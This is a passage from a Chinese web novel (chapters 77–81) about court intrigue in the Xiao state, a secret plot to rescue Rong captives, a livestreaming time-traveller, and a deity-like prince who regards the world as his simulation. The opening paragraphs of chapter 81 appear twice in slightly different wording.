他所统治的萧国虽然没有如今皇帝统治的萧国那样繁华,但每年也是能从荣国皇帝那边弄出一些钱的。 且在先帝成长大的过程中,是先太后摄政,先太后的手腕和能力也都十分强悍,这让先帝从来就没有缺过钱。 先帝缺的是几十万、几百万的金银,不缺这零星的东西。 “说不定父皇是在暗示他需要更多的祭祀。”萧国的皇帝说道,“更何况这么久了,你们有抓住那个小贼吗?我听说死了人,你不觉得这和之前发生的营啸很相像吗?” “之前有人亲眼见到了先帝,但是这一次情况似乎不一样。”萧国丞相觉得现在的局势越来越难以推测了。 萧国丞相他忽然想到了一件事情。 那些人说的是“鬼”。 如果说这个小贼不是先帝,而是其他东西的话,那岂不就是脏东西? 萧国深受荣国的文化影响,相信皇帝是天子。 这几十年来他们萧国一直宣扬能够承蒙天命不只有荣国,他们萧国也可以承蒙天命。 但是现在如果萧国皇帝身边出现了脏东西,那岂不就是在打他们自己的脸? 但丞相是一个办实事的。 先帝选择让他做这个丞相,其实也是看重他老成持重。 丞相是出于现实的角度去思考问题。 迷信思想要放在计划完成之后,图个吉利,问题本身还是要解决的。 可是丞相自己这么想,皇帝会不会这么想? 或者说,之后会不会有人拿这个来弹劾他? 萧国丞相是从很久之前就和先帝一起制定消灭荣国的计划,一步一步都是稳扎实打的。 但是现在的皇帝,他是照着先帝的安排做,又遇上了谢袆这个蠢货,自然觉得自己是被眷顾的。 他很难不把一切事情都往顺利的方向去想。 他没有认清自己啊…… 他只是风口上的猪,不是制造这狂风的大鹏。 真正的大鹏是已经去世的先帝。 萧国丞相看着皇帝。 他以前也给皇帝当过老师,教学工作开展了将近四十年,他早就认清一件事了——自己的学生是个庸才。 不蠢,但是也不聪明。 现在皇帝身边已经快要没有贤臣了,他们看萧国丞相一直都不顺眼,皇帝自己也不想要这位能够压制自己的丞相了。 谁不想要当丞相呢? 一时之间,丞相都不知道自己应不应该继续谏言了。 他把自己的话咽回去,然后看着皇帝问道:“陛下的意思是?” “朕的意思是,这分明是祥瑞呀。”皇帝说道,“找还是要找的,等着找到先帝之后,朕大可以让父皇看看朕今天的成就。” 可是如果对方不是呢? 丞相心想。 真的就不考虑这种可能了吗? 可是他看着皇帝兴致勃勃的样子,这话他怎么都没办法说出口了。 皇帝不爱听。 他如果想要继续在这个丞相的位置上待着,就不要说这种让人扫兴的话。 皇帝身边的一个人冲着丞相笑了一下。 也许这不仅仅是皇帝自己的奇思妙想,还有人在边上煽风点火。 萧国丞相默然无语。 他觉得自己不该沉默,自己的沉默并没有换来多少好处,反而让皇帝更加地刚愎自用。 “陛下,状元来了。”站在皇帝身边的人对他说道。 萧国皇帝大手一挥:“让他进来。” 在看到未弊之后,皇帝满意地说道:“果真是仪表堂堂啊。” 皇帝身边的人看了未弊一眼,有了危机意识。 未弊躬身行礼,他看上去彬彬有礼的:“陛下谬赞了。” 萧国丞相看着未弊,也觉得这人确实很帅。萧国是游牧起家,天然更欣赏这种一看就能骑马扛枪的人。 皇帝看着未弊,和他聊了几句,发现这个人举止有度,也练过武,其实是一个能文能武的人物。皇帝看着他那即使是在宽大的衣袍之下也能够看出来的肌肉,忽然说道:“朕想要对你委以重任。” 萧国丞相的眼皮一跳。 又来了。 皇帝这种临时起意真是让人头疼。如果他能灵光一现想到什么好主意的话还好,但是让人头疼的是,皇帝从小到大灵机一动,好像出的都是馊主意。 “想必你这段时间也听说了宫中的事情。”皇帝说。 未弊是听说过的,甚至是不仅仅在来的路上听宫中的侍卫提到过这件事情,但是他却并没有说实话的打算。 他只是一身正气地和萧国皇帝说道:“臣并未听闻宫中之事,但臣愿为陛下分忧。” 皇帝对于未弊的这种反应十分满意:“这段时间宫中似乎有奇怪的事情发生。丞相说这是有小贼出没,但是朕觉得可能并非如此。朕也听说了一些和你相关的事情,听说你机智过人,博学多才。朕想要见识一下,别人对你的评价是否是真的。只有这样,朕才敢向你委以重任。” 未弊紧张地思考了一下,说道:“臣若能为陛下分忧,那必然是臣的荣幸。臣必为陛下效犬马之劳。不过如果没有宫中其他同僚多多帮助也是有点为难的。” 未弊这个人说话滴水不漏,还冲着其他人行礼,配合着他那一张凌然正气的帅脸,很难让人生出恶感。 他的进退有度让丞相心里十分复杂。 未弊毕竟是个荣国人,萧国人现在还是太不争气了。 第78章 不过皇帝这次有点乱来,未弊如果把事情搞砸了,皇帝恐怕也没办法重用他。 这就有点浪费了。 他们又不是荣国那样有那样多培养人才的底气,动不动就贬谪一批还能用人才继续为荣国效劳。 不过萧国丞相也没有开口阻止,能被皇帝看中,本身就是一件高风险高收益的事情。 他只是惜才,觉得未弊还年轻,可能缺乏经验,容易掉进坑里。 谢瑛在一旁悄悄地听完了整个对话。 谢瑛打量了一下萧国皇帝周围的人。 他身边的人不少,看来不好靠近。 护卫在萧国的皇帝身边围成一道人墙,他们手里持着木棍,木棍斜着撑在地上,相互交叉的,保证了没有比猫更大的动物能够从中钻过去。 谢瑛只能失望地放弃了自己的计划。 不过现在她更想担心未弊注意到不对劲的地方。 她想要找机会解决掉未弊。 如果他是一个坏人的话,那谢瑛就可以理直气壮地杀死他了. 未弊总觉得今天好像有点不太对劲,他很难描述自己这种微妙的感觉从何而来,但大抵是一种本能直觉。 可能是今天他的注意力太过于集中了,路过的猫和狗都能够吸引他的注意力。 他的观察纤毫毕现,但是好像哪里不对…… 也许只是今天他太过于兴奋了吧。 在反复检查了周围的东西之后,未弊下了这样的结论。 见到了萧国皇帝,拿到了能够在萧国皇宫周围活动的工作,可以说一切都是在往最好的方向发展。 有这样的好消息,自然要和自己的家里人说一声。 未弊的祖父之前是荣国的一个县令,在萧国攻破荣国之后,他便在萧国手下做事,因为能力出众,还节节高升。 老人看了未弊一眼,他对于自己这个孙子十分满意,看着儿子和孙子交谈了几句,他没有说话,等着他们乐呵呵地交流完。 他喊住了未弊,和他去里屋。 谢瑛小心地跟在未弊的身旁。 未弊人高马大,走起路来风风火火的,他没有故意走的很快,就是按照他平时的走路速度在走,但是谢瑛为了赶上他,跑得气喘吁吁的,此刻她却得努力克制着才不会让自己发出太大的动静。 到现在谢瑛都没有把气喘匀。 未家住的地方离皇宫有一段距离,谢瑛如果活在后世,她大概会觉得自己像是参加了一场拉练一样。 她已经快要走不动了。 之前谢瑛觉得自己已经很活泼很能走了,但是现在她觉得自己之前能够活动的范围也就那么一点点,一个笼中鸟是很难飞得远的。 在听到未老爷子让未弊跟他去一趟,谢瑛在心里发出哀嚎。 还要走? 这一次该不会又要走个几里地吧? 谢瑛从椅子上下来的时候是用手搬着自己的腿移动的。 屏息对隐藏自己没有半点用处,就算谢瑛喘得跟一只真正的大猩猩那样未弊也看不见他。 但是人在紧张的状况下总是想要尽量不发出声音。 未弊的祖父关上了门,他看着未弊说道:“今日如何?” 谢瑛在心中说道:挺好的,你家孙子还得到了萧国皇帝的欣赏,真是恭喜啊。 但是未弊却并没有提到这件事情,他说的反而是另外一件对他来说更重要的事情:“孙儿已经记住了萧国皇宫周围的环境。最近萧国皇宫的事情尚未平歇,萧国的皇帝还觉得此事颇有蹊跷,所以希望有人去探查近日宫中发生的事情,孙儿有了这样的机会,定能把那些被萧国人囚禁荣国人的位置摸清楚。” 这句话一出,让谢瑛忍不住倒抽了一口气。 她之前以为未弊只不过是个投靠萧国的荣国人之一,没有什么特别的,谢瑛也不会因此产生什么愤怒。 她生在萧国,看着她那作为前任皇帝亲爹对着敌人卑躬屈膝,别人杀他的孩子他都一言不发。 这样的皇帝、这样的国家,反正谢瑛自己都懒得为北荣说些什么了。 皇帝都如此,那么荣国的普通人向萧国人效忠也不奇怪。 这不就是“上行下效”吗? 皇帝自己都是这个样子,难道还要指望着下面的人为他拼尽全力吗? 这就好像是故事一样。 谢瑛不相信故事的。 在谢萍死亡之后,她彻底地不相信故事了。 那个自称邵华的人也许算是伸出了援手,但是他又说使用这个匕首的代价就是自己的生命,那这不过是一场等价交换。 她和谢萍一样,都觉得这个世界没有无缘无故的好处,甚至这件事情也是她和谢萍最开始说的。 结果现在,眼前这个未家的爷孙居然在商量着救他们? 谢瑛第一时间感受到的不是感动,而是——你们有病吧? 知不知道他们这些被掳走的人现在都是什么样子? 谢袆干过什么好事值得这群人拼上自己的性命去帮吗? 谢瑛从来不认为荣国的谢袆配得上皇帝这个称呼。 让谢袆作为他们这些被掳走的人的代表,怎么都觉得他们其实并不值得拯救。 谢瑛更想和萧国人爆了。 至于其他人,她不想害了他们,但是也完全没有救他们的心思。 不然以谢瑛手上的匕首的能力,她早能带着所有的人离开了。 在这里他们还能团结一下,等着他们离开了这里之后,他们估计就会垂涎谢瑛的匕首,或者逼着她去为他们所用。 那实在是太麻烦了。 “我们已经不能再等下去了。”未家老爷子对未弊说道,“我未家虽然不是什么名门望族,也从来没有面见皇帝的荣幸,但是如今异族的铁蹄肆虐山河,他们杀公主,杀皇帝,这份耻辱刻骨铭心。我们之前为了能够获得萧国的信任,什么都不说,但是如今你也得了皇帝青睐,也不可……” 未老爷子话说到一半,他忽然停下来了,他看着自己的孙子说道:“如果你真的效忠了萧国的皇帝,那么荣华富贵唾手可得。现在你却要陪着我这个糟老头,去做这种在萧国人看来完全称得上谋逆的事情?你可后悔?事到如今,若你后悔,也不是不可以。你几乎就没受过荣国的恩惠,反而受到了萧国的如此栽培。你要是此刻退出,那我也能够理解。” “祖父说笑了。”未弊道。 “不,你先不要现在回答我。之前都是我叫你去做,现在你已经大了,你应该有了自己的判断,你再想一下。”老人抬起手阻止了未弊接下来要说的话,他点燃一根香说道,“等着这炷香燃完,你再告诉我你的答案。” 爷孙面对面沉默着。 谢瑛也不知不觉地屏住了自己的呼吸。 在一炷香燃烧殆尽之后,未弊慢慢地抬起头来,他看着未老爷子说道:“孙儿是自己想要这么做的。” 未弊那声音不疾不徐,带着一种沉稳的感觉:“祖父,若论恩情,那自是祖父的养育之恩高于萧国的栽培之恩。如果没有祖父日复一日的教导,孙儿也未必能够得到如今的成就。祖父自认为这是祖父强加给孙儿的责任,但是实际上,这是祖父耳濡目染教导孙儿何为中医。孙儿愿意做这些,也是明白祖父的抱负,孙儿自小被祖父口中的那些英雄故事所感动,又怎么不能心生向往。如今萧国的皇帝又砍下我大荣曾经皇帝的头颅,如此暴虐,又怎么能够让人接受?” 未老爷子看着未弊,然后轻轻地摇了摇头,说道:“荣国如今也未必好到哪里去。我听说荣国的新皇帝,也对萧国的先帝下手了。” 大家不过是半斤八两,老大不说老二。 “人总是有所偏袒的。”未弊冲着未老爷子笑了一下,而这偏袒意味着什么,也不言而喻了,“再说了,总不能看人有无罪之人被关上一辈子吧?” 未老爷子满意地笑了。 他之前说的不是假话,如今说这些也是希望未弊能和他完全是一条心的,只有他自己想明白了一些事情才能不因为其他人三言两句倒戈。 如果他没有坚定的想法,那与其冒着这风险,不如就是随他去吧。 “好孩子,真是好孩子。”未老爷子说道。 谢瑛从头到尾听到了这对祖孙的对话。 她觉得自己心脏的某处好像被触动了。 她低头看着自己的双手,最后选择把自己握在手中的匕首放在了桌子上。 她并不怀疑这两个人是在演她。 谢瑛还只是个孩子,对人性的黑暗还完全不了解。 但就算是成年人,在亲眼见证了这一幕之后,也会相信他们说的是真的。 毕竟,谁会在这私下的密谈中说谎呢? 谢瑛突然出现把所有人都吓了一大跳。 严格来说,这并不是真正的隐身,如果用监控拍摄,那还是能看到谢瑛的。 谢瑛只是让所有的人都没办法把注意力放在她身上。 就像是有人无意中坐在体育器材旁边,忽然意识到边上的绿色绳子不是拔河或者跳大绳时用的麻绳,而是一条绿蛇一样。 他们之前只是完全没有把注意力放在谢瑛身上。 “你是什么人?”未老爷子怒目圆睁。 未弊愣了一下之后马上示意未老爷子让他说:“小姑娘?你是怎么过来的?之前皇帝说想让我们找的那个人?” “对,就是我。”谢瑛点头说道,“我要杀了萧国皇帝,你要救人,大家都是给萧国找麻烦,不如我们一起吧?” 第79章 林耀祖这段时间和尔雅见面得稍微多了起来。 尔雅每天都会出去转上一圈,回来的时候就和她妹妹写一些东西。 至于写的什么,林耀祖看一眼就头疼,不过光看她直播间的人都很热情地替她总结概括了一下,她们写的是锦京城中人们现在的生活情况。 只是最近她陷入到了瓶颈期,每天花更多时间在房间里讨论事情。 她们并没有避开林耀祖,但是她们聊着聊着,林耀祖就像是被催眠了一样,不知不觉地就睡着了。 林耀祖在清醒的时候可以适当地调整直播镜头位置,但是平时就是通过她的眼睛看东西,在她犯困的时候摄像头就直接关闭了。 这让一些人感到十分不满。 之所以是一些完全是因为绝大多数人都挺困了,回想起在学校上政治课的时光。 谢萍听得时间都比林耀祖长。 尔雅是不能离开锦京的。 谢吾德还是希望在自己想要找尔雅的时候,尔雅能在一天时间内出现。 但是一直在锦京待着已经没办法满足尔雅对这个世界的探索了,她想要更了解现在这个世界。 之前尔雅也是到处跑,前两年才回来夺取权力。 结果现在手上有权力了,她觉得自己对这个世界的了解又不够了。 仅仅是谢吾德一个人的变数就够多了。 好在尔雅觉得自己的妹妹能力也不错,不枉她冒着风险把陈燕捞出来,这段时间尔雅一直在考虑要不要把一些事情交给她。 林耀祖迷迷糊糊地醒了,她听到两个人的对话:“这个年代女孩子自己出去容易出事吧?” 尔雅笑着说道:“这取决于你有多敢杀人。” 林耀祖一个激灵,清醒了。 “人都是欺软怕硬的。我越是不把自己的命看在眼里,我就越能活下来。”尔雅看着林耀祖被吓了一大跳的样子,觉得好玩,“命,每个人都只有一条,大家都珍惜得不得了……” 尔雅看了看谢萍,装作自己没看见。 这种时候要是出于严谨补充一句,那就没有气势了。 “左拇指只有一根,右拇指也只有一根,谁也不想少点本来可以在自己身上存在的东西。”尔雅是在跟林耀祖说,也是在跟陈燕说。 陈燕:“……” 姐姐能来捞她,她很高兴,但是姐姐很极端,她就有点高兴不起来了。 陈雅在陈家是最极端的人,她说谁敢拦她她就杀了谁,那她是真的敢这么做。 她不自杀,就趁着半夜摸到陈老爷子的床头,拿着刀去拔陈老爷子的头发,陈老爷子年纪大了,都差点尿床上了,被她折磨了数次也没拦住人,威逼利诱都搞不定陈雅之后,为了他自己的小命考虑,他就随陈雅去了。 陈燕当时是有点鄙夷这个不规矩的姐姐的,觉得她这样早晚都会丢掉自己的命,但是却又隐隐地有点羡慕。 谁不想说做就做呢? 但是陈燕没尔雅这个胆子。 尔雅就算这么说了,她也不是很敢。 “不过我也不会让她单独出去的。”尔雅瞪了一眼自己这个没她的胆量的妹妹,“会给她安排一些随行的人的。” 尔雅以前无事一身轻,现在却为了自己的权力和地位,不能轻易地离开。 她倒是想要和陈燕换一下。 林耀祖摇摇头:“不止是这个,最近各个学派打的很厉害,他们别拿你们当借口说什么。” 外敌未定,内部还起了学术纷争。 魔法大荣不仅是因为谢吾德才变得魔幻,还因为这一帮能在物理意义上把对面打得头破血流的学术纷争。 “嗯……”尔雅看着林耀祖,她上下打量了一番林耀祖,似乎想要问点什么,就在这时,谢吾德夹着一个小孩走了进来,那个孩子和谢吾德长得一模一样。 这正是谢吾德在登基大典上立的太子之一。 那个孩子用手指甲抠着谢吾德的手背,谢吾德的手背被他抠得出血了,但是谢吾德也不松手,就好像感觉不到疼一样。 那个孩子也不说话,就这么沉默地挠着人。 “这个家伙需要一些社会化。”谢吾德把这个孩子放到了尔雅的面前,“你之前是想要出去玩吧,你带着他出去,我就同意。” “咦?陛下,殿下有什么问题?”尔雅有些意外。 “当然是因为温特说希望他能够‘社会化’一下。”谢吾德低头看着亚夏。 亚夏的指甲更加用力地挠他。 谢吾德就是闲得没事。 他好不容易休个假,就是躺在水池里喝杯西瓜汁看着电影撸着猫,这家伙就忽然不爽了,强拉着他来这个世界。 什么社会化,完全就是借口。 谢吾德是个会在意自己性格问题的人吗? 谢吾德和亚夏本质是理念的冲突。 他就是不愿意让亚夏高兴。 想要当皇帝是谢吾德自己提出来的。 “温特是他的母亲吗?”林耀祖好奇地问道。 谢吾德听到这句话“噗”的一声笑了出来,就连亚夏自己都被呛到了。 “如果硬要说的话,他才是‘妈妈’才对。”谢吾德说着,又把亚夏拎着腰带提起来晃了晃。 亚夏狠狠地瞪了他一眼,但是还是不说话。 “陛下,您需不需要包扎一下?”林耀祖又看向谢吾德手上的伤,忍不住问道。 这看上去还挺疼的。 谢吾德总是给人一种非常娇贵的感觉,洁癖又龟毛,很容易让人联想到那种有一点小伤口就会大喊大叫的娇气家伙。 然而谢吾德就像没感觉一样,他说道:“没事。他现在也就挠挠我了,如果不是在外人面前,他现在怕是又要踢又要打,还要咬了。” 谢吾德毫不客气地揭了自己的老底。 亚夏眼神不善地看着他。 “不过现在重点是这个,”谢吾德指了指被放下来的亚夏,“你觉得怎么样?” 谢吾德看似是在征求意见。尔雅根本就没有拒绝——换个皇帝也许行,但是在谢吾德面前,是没有人有胆量说“这件事臣办不到,陛下您还是派别人去吧”这种话的。 “只要太子殿下愿意……” “他没有什么不愿意的。”谢吾德直接替亚夏做了主。 亚夏愤愤地盯着谢吾德。 谢吾德一直挑衅亚夏:“到时候你也看看,我对于这个世界的管理有多棒。” 这才是这个家伙的真正目的吧。 亚夏用膝盖狠狠地顶了他一下. 走在路上,亚夏一直都不说话,他的沉默,让尔雅和林耀祖都想起了谢吾德完全不说话时的那个样子。 锦京还算繁荣,这里的小商小贩非常的多,街上一片热闹和繁华。林耀祖和亚夏看不上这种热闹,但是陈燕却忍不住连连惊叹。 林耀祖尝试用跟小孩子交流时的那种语气跟亚夏说话:“小殿下,有什么想吃的吗?” 然而亚夏只是用带着点鄙夷的眼神看了林耀祖一眼,相当之嫌弃她这哄小孩的语气,以至于他都有点没办法保持面无表情的样子了。 但是亚夏有点摇摇头。 亚夏的表情没有特别大的波动,但是他的脸天生就像是看不起人一样。 林耀祖麻了:“好吧,您和陛下一样都不喜欢吃外面的食物。” 很好,和谢吾德一样,都是很有脾气的家伙。 不愧是亲父子。 林耀祖还想要拉着他,省得他被挤走或者干脆被拐子给抓了,但是亚夏把手揣在自己的袖子里,不去碰任何人,一副只想静静散步不想搭理人的样子。 这不适合谢吾德一样都超级自我吗? 林耀祖看向尔雅,她觉得尔雅非常有主意,所以她想要让尔雅出一个主意。 尔雅却并没有把这当一回事:“没事,随小公子去吧。” “对了,尔雅,你之前想跟我说什么?”林耀祖话题一转,“之前说到一半,因为陛下停下来了。” 尔雅看了一眼亚夏,亚夏扭过头装作自己什么都没有听到。尔雅没有一直盯着他,而是在停顿之后回答道:“最近王家似乎提出了一些……很有趣的学说。” 林耀祖抬起头来,他又感觉自己有点困了。他一听到这种话题就忍不住想要睡觉。 她都毕业了,真的不想再学这些了。 而且古代的这些学术之争,对于她来说已经完全过时,她又不搞文学,感觉不出有什么意义,都是一套老掉牙的东西。 直播间倒是有人喜欢研究,但是这真的不是林耀祖能够控制得住的事情。 就像是她有一天掉了一根笔,就再也没听懂物理一样。 她自己也不想的。 就在林耀祖条件反射一般地魂游天外的时候,她听到尔雅说道:“我看了王家提出的那些理论,横看竖看,字里行间感觉就透着四个字。” “哪四个字?”林耀祖迷迷糊糊地当一个捧哏。 “以民为主。” 林耀祖愣住:“哦,民主啊。” 这种观点并不奇怪,毕竟“以民为本”和“为民做主”这种民主已经有了很长的历史了。 “但是还是有点不一样。”尔雅继续说道,“琅琊王氏的‘民主’的意思是,‘君权民授’,不是简单的‘君为轻’。这才是为什么之前那些学派那么愤怒的点。” “琅琊王氏胆子很大。”陈燕不是第一次说这句话,她还有点奇怪为什么尔雅还要特意重复一遍她们之前说过很多的话。 原来是有人没听懂啊。 沉默。 林耀祖感觉自己的头皮都要炸了:“什么叫‘君权民授’?!” 亚夏抬起头看向了尔雅,好像被这一句话给吸引了注意力。 亚夏觉得事情总算变得有趣了。 第80章 林耀祖恨不得把亚夏的耳朵给捂上。 这是什么话? 她不是对皇权诚惶诚恐,她只是担心尔雅说这话会被谢吾德给杀了。 这根本不是能在封建朝代说的话。 林耀祖对一些话和行为没什么敏感性,如果不是谢吾德觉得她有趣,她早就因为不合规矩被人拖下去杀一百遍了。 “别慌。”尔雅只是微笑,“陛下的权力是来自于他的暴力。琅琊王氏敢说这种话,也只是讨论过去其他皇帝。” 这事对于谢吾德来说,也就是个乐子。 “……这合适吗?”林耀祖干巴巴地说道。 尔雅看向亚夏:“有什么不合适的?” 真正会为了这些事情急得跳脚的,应该是那些必须依靠普通人才能统治这个世界的人。 林耀祖觉得哪里不对劲。 这种话对于谢吾德来说,真的半点威胁都没有吗? 好像是这样,但是林耀祖有知觉觉得哪里不对。 ……直到最近,林耀祖才逐渐意识到一件事情:她和尔雅真的不是一路人。 陈燕看着林耀祖,心里在想自家姐姐从哪里搞来这么个傻狍子。 林耀祖不再思考这些问题了,和别人因为一些事情合不来很正常:“琅琊王氏居然能想出这么先进的理念吗?” 尔雅耸肩。 人类世界很多规则都是隐而不现的,很多事情都是需要深刻地反思的。 琅琊王氏这种绝对的统治阶级不可能想出这么具有批判意识的东西。 他们看似是在批判皇帝,但琅琊王氏作为世家,他们既是皇帝的走狗,同样也是暗中影响、甚至操控皇帝的那一批人,他们自己本来就会被一起质疑。 能够说出这样的话,那他们也需要对自己的行为进行深刻地反思。 琅琊王氏中一两个人也许能有这样的觉悟,但整个琅琊王氏都这么有觉悟不太可能。 他们可是既得利益者,他们怎么可能会反思自己。 林耀祖怎么想都觉得有阴谋。 他们在耍什么把戏? “你们确定这是琅琊王氏自己写出来的东西吗?没有别人代笔?”林耀祖选择质疑琅琊王氏观点的原创性。 “我好奇的也是这个。” 弹幕也有人和她有了相似的想法:【这真的不是其他穿越者才能写出这样的东西吗?】 【思想是需要进步、需要积累的。没有什么思想是能够一步成型的,这就好像从受精卵一秒变成成年人。别管他合不合理,大家都没办法接受这种事情吧。】 林耀祖所熟悉的这些理论,是在天下纷争、整个世界苦苦挣扎,不停地摸索才得出来的规则。 出现在这个年代大概就会惹来其他学派的老拳。 不是说大家会觉得这话没道理,但是现在并没有推翻皇帝制度的土壤,谢吾德这个离谱的家伙论外,谢吾德之前的那些皇帝虽然不怎么样,但是大家的日子都能过得去。 【在原来历史中,谢吾德对琅琊王氏的玩弄和折磨一点不比这个时间线上谢吾德对琅琊王氏的折磨少。当时可没有这样的理论出现。】 【你们还记不记得当时临川陈氏放的那个天幕视频,以及之后献上来的谢萍的头?】弹幕有人开始讨论了起来。有些观点他们之前也提出过,但在当时并没有多少话题度,现在机会正好,他们就开始讨论了起来。 【为什么临川陈氏会觉得谢萍的头能够激怒谢吾德呢?当时大家也看到了,谢吾德一点都不生气。还是主播跟谢吾德说了之后,他才稍微酝酿出来了一点怒意。临川陈氏会天真地觉得割一个头就能让谢吾德暴跳如雷吗?】 谢吾德没把其他人放在眼里。 这是陈述。 【我刚刚发了一个链接。这是我录屏之后重放发现的一些问题。在那颗头出现之后,琅琊王氏的人似乎并没有太过于惊讶,他们表现出的惊讶表情还有点浮夸。他们很有可能早就知道了这件事情。】 【临川陈氏知道杀谢萍一定会激怒谢吾德是因为尔雅和他们说主播是穿越者——这就和之前的猜测能够连上去了,但是临川陈氏没有道理和琅琊王氏说这些。他们虽然有合作,但是绝对不可能完全地团结,谢吾德如果真的读取了陈老爷子的记忆,那么他就会知道临川陈氏有没有和琅琊王氏说这些事。所以献头的事情应该是他们背着所有人去做的,琅琊王氏本来应该是被他们蒙在鼓里的,所以他们是怎么知道这件事情的呢?】 【我猜琅琊王氏很有可能也有一个穿越者。】 尔雅注意到林耀祖的表情,对她说道:“说起来,当时二皇子争储的时候,可是拿出了不少新奇的东西,还有被他们称为‘火枪’的物品。但是在二皇子争储失败之后,那些工匠都被陛下控制起来了——可能陛下都忘了这事,但是余文彦问过他们,并没有找到最开始发明火枪的人。” “火枪?”林耀祖感觉自己都要失声了。 这不应该是荣武宗和荣昭宗之后才发明出来的东西吗? 当时世界各地其实都有类似的武器萌芽,但是谢吾德可不会发展武器装备。 之前还有人觉得,荣武宗记录中一些关于天崩地裂之类的描述是因为火器,但他们在林耀祖的直播中见识过谢吾德的力量之后,她就确定这天崩地裂不是夸张或者比喻,谢吾德真能做到这些事情,火枪的力量对于他来说太弱小了。 所以“谢吾德的神奇之处在于他发明了火枪”这个论调就站不住脚了。 这也完美地说明了,为什么在荣昭宗被篡位的时候没有火枪的出现。 不是谢吾德敝帚自珍,不愿意传授这些东西,而是谢萍真的没有火枪的技术。 现在火器出来了,又排除谢吾德自己制造出武器,这就证明除了林耀祖之外还有其他的穿越者。 这个穿越者在二皇子夺嫡之前就存在了,他或者她是林耀祖的前辈,在二皇子失败之后最有可能控制住对方的就是琅琊王氏了。他们先是通过这个穿越者得到了武器制作的方法,然后便是得到了关于未来的一些情报。现在很有可能还借助这个穿越者的力量,搬出了先进的思想。 【这个世界真的没有什么问题吗?】 【那个穿越者是谁呀?能不能查查失踪人口?】 【每年失踪的人实在是太多了,哪能查得过来。】 【大家觉得有没有可能我们哪一天也会穿越?】 【穿越到过去吗?你们难道没听主播还抱怨过,这里擦屁股的纸都很硬,她还喜欢擦干净,最近擦得菊花都疼了吗?】 靠。 林耀祖觉得她就不应该在直播中抱怨太多。 现在这些话就跟回旋镖一样打在了她身上。 林耀祖虽然不是走那种甜美可爱、好像都不需要上厕所的温柔淑女主播路线,她甚至可以在直播中大咧咧地说出“擦得腚疼”这种会恶心得讲究人吃不下饭的话。 但是有些话自己说说就算了,被别人说,她还是有那么一点点挂不住面子的。 【其实我觉得你们与其哪一天会穿越到过去,还不如担心一下谢吾德会不会穿过来呢?】 这话一出,整个直播间都安静了。 沉默,沉默是今日的直播间。 他们稍微想象了一下谢吾德出现在了他们的生活中,想到谢吾德祸害人的力度,就猛地打了一个哆嗦。 紧随而来的是一群人的哀嚎和沸腾: 【什么?不要啊!】 【我承认我是很喜欢谢吾德的那张脸,他长得是真的很好看,但是这种人还是留在过去吧,千万不要过来。】这是谢吾德的忠实颜狗,之前发表过很多想要给谢吾德做口水面膜的言论,但是现在彻底暴露了叶公好龙的本质。 【我又不是那些狂信徒,这种家伙还是尽量留在文字中吧。】 【现在封掉这个直播间还来得及吗?】 【当然是来不及了,而且如果能封掉的话,这个直播间早就封了。】 【我一看就知道你们没有好好看那些典籍。我觉得信徒们也未必会喜欢现实中出现吧。毕竟在他们的经典中,这个世界是神明的一场游戏。当神明再次出现的时候,就是这个游戏彻底结局的时候。我们就像是那些棋盘里的棋子一样,会被从棋盘上倒出去,被收到盒子里。那是所有人的终焉。所以人们才必须谨慎侍奉、全力取悦神明,让这个游戏变得更加持久,让这个世界的结局来得更晚一些。对了,我上面说的那些话全都是出于对于宗教的理论讨论,进行科普,并没有任何传教的意图,请审核不要封我。】 【如果真的像这个神话说的那样,那这个直播算不算是神明的第二次降临?你们可都看到了,谢吾德还真不是什么普通人。他的那些能力还真就像是那些信徒说的那样。他们没编,他是真的有这样的力量。】 【真的假的?】 【我们怎么知道?】 【我靠,别啊。我刚还的房贷啊!好歹让我住到死,再让末日降临吧。】 【我的要求不高,加了好几个月的班,好不容易喘口气,最近好不容易休了年假,等我把这个年假休完了再让末日降临吧。我可不希望成加班到死。】 【消息保真吗?保真我就去杀老板。不保真不要说,我还要混饭吃。】 【保真,顺便帮杀一下我的。】 【保真。】 【保真。】 【保真。】 【我靠,楼上的别真信神棍的话啊!】《 》 80-90 第81章 亚夏有点不自然地把视线移开。 所以他不愿意和这个世界中的人接触。 这个世界是成品世界,这里人类的表现和他熟悉的人类没有多少差别。 亚夏在制造人类仿品时,是为了让他们尽可能接近真正的人类,还解剖研究过许多次——当然,是等他们自然死亡后进行扫描分析。 虽然那些宗教典籍所说的话都是他们编的,但不得不说他们蒙对了一点——这个世界,最初就是为了哄谢吾德、别让他去折腾现实世界才诞生的。 这个世界,就像一个可以随时关服的游戏。 至于这个世界的人究竟是不是“人”的问题……这就好像在问,人工智能到了什么程度才能被称为一个生命。本身随着投入的资源增加,这些造物的表现力就越接近人类。 如果不和他们接触,只是作为旁观者,亚夏还能保持自己的超然姿态。但一旦接触多了,亚夏从感性上会觉得,他们就算不是“人类”,至少也是智慧生命了。关闭这个世界,简直像是进行一场比谢吾德所为更凶残的大屠杀。 可这个世界也只有一个地球大小。虽然比他最初做的项目要完整得多,但只要他们迈入太空,这个世界的“真实”便会向他们展开,他们也将升格为真正世界的生命,彻底脱离亚夏的掌控。 亚夏有点不自然地把视线移开。 所以他不愿意和这个世界中的人接触。 这个世界是成品世界,这里人类的表现和他熟悉的人类没有多少差别。 亚夏在制造人类仿品的时候是为了让他们和真正的人类靠近,还解剖过很多次,但是那也只是等着他们死亡之后再进行扫描研究。 虽然那些宗教典籍所说的话都是他们编的,但不得不说他们蒙对了——这个世界就是他用来哄谢吾德别让他折腾现实世界才诞生的。 这个世界就是一个可以随时关服的游戏。 至于这个世界的人究竟是不是人的问题,这就好像在问人工智能到了什么程度才能够被称为一个生命一样。 本身随着投入的各种资源增加,这些生物的表现力就越接近人类。 如果不和他们接触,只是作为旁观者,亚夏还能保持自己的旁观者姿态,但是一旦接触多了,亚夏从感性上会觉得他们就算不是人类,但是也是智慧生物了,关闭这个世界就像是在搞比谢吾德还凶残的大屠杀一样。 可是这个世界也只有一个地球大,虽然比他第一次做的项目中创造的世界要完整得多,但只要他们迈出太空,那这个世界的真实就会向他们展现,他们也会被升格为真正世界的真正生命,彻底摆脱亚夏的控制。 这其实不是什么坏事。 亚夏对一直控制他们也没有什么兴趣,他只是一个对沙盘游戏没什么兴趣的宅男,顶多是做非常奢侈的社会学研究,研究结束了,他们爱干什么就干什么去。 但问题是,真正的世界是有真正世界的原住民的,甚至在地球附近也有如他们这样被创造出来、然后又成功升格的生命。 那等着他们走出去之后,肉眼可见地会打起来。 这群家伙打上头了说不定能把地球给炸了。 相比起来,永久封存这个世界都显得温情脉脉了,至少不会死一大批的人。 